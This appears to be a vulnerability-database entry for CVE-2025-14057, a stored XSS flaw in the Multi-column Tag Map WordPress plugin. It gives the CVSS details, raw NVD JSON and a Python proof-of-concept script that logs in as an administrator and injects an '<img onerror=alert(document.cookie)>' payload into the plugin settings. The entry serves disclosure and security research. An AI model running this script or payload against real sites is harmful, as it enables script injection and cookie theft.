Security Vulnerability Report
中文
CVE-2025-14057 CVSS 4.4 MEDIUM

CVE-2025-14057

Published: 2026-01-07 12:16:52
Last Modified: 2026-04-15 00:35:42

Description

The Multi-column Tag Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 17.0.39 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Multi-column Tag Map plugin for WordPress <= 17.0.39(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14057 PoC - Stored XSS in Multi-column Tag Map plugin # Affected versions: <= 17.0.39 import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" def get_nonce(login_page_html): """Extract WordPress nonce from login page""" soup = BeautifulSoup(login_page_html, 'html.parser') nonce_input = soup.find('input', {'id': '_wpnonce'}) if nonce_input: return nonce_input.get('value') return None def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in Multi-column Tag Map plugin. The vulnerability allows authenticated administrators to inject arbitrary JavaScript through the plugin's admin settings page. """ session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_page = session.get(login_url) nonce = get_nonce(login_page.text) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1', '_wpnonce': nonce } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Access Multi-column Tag Map plugin settings settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=mctagmap-options" settings_page = session.get(settings_url) # Step 3: Inject XSS payload in settings field # Payload: <img src=x onerror=alert(document.cookie)> xss_payload = '<img src=x onerror=alert(document.cookie)>' # Extract nonce from settings page settings_nonce = get_nonce(settings_page.text) exploit_data = { 'mctagmap_option': xss_payload, 'submit': 'Save Changes', '_wpnonce': settings_nonce } exploit_response = session.post(settings_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] The XSS will execute when admin views the tag map page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14057", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:51.500", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Multi-column Tag Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 17.0.39 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Multi-column Tag Map para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración de administrador en todas las versiones hasta la 17.0.39, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con permisos de nivel de administrador y superiores, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio e instalaciones donde unfiltered_html ha sido deshabilitado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/multi-column-tag-map/tags/17.0.39/mctagmap-options.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/multi-column-tag-map/tags/17.0.39/mctagmap_functions.php#L1845", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/multi-column-tag-map/trunk/mctagmap_functions.php#L1845", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f151cb44-499e-4b08-80fb-0a573594d624?source=cve", "source": "[email protected]"}]}}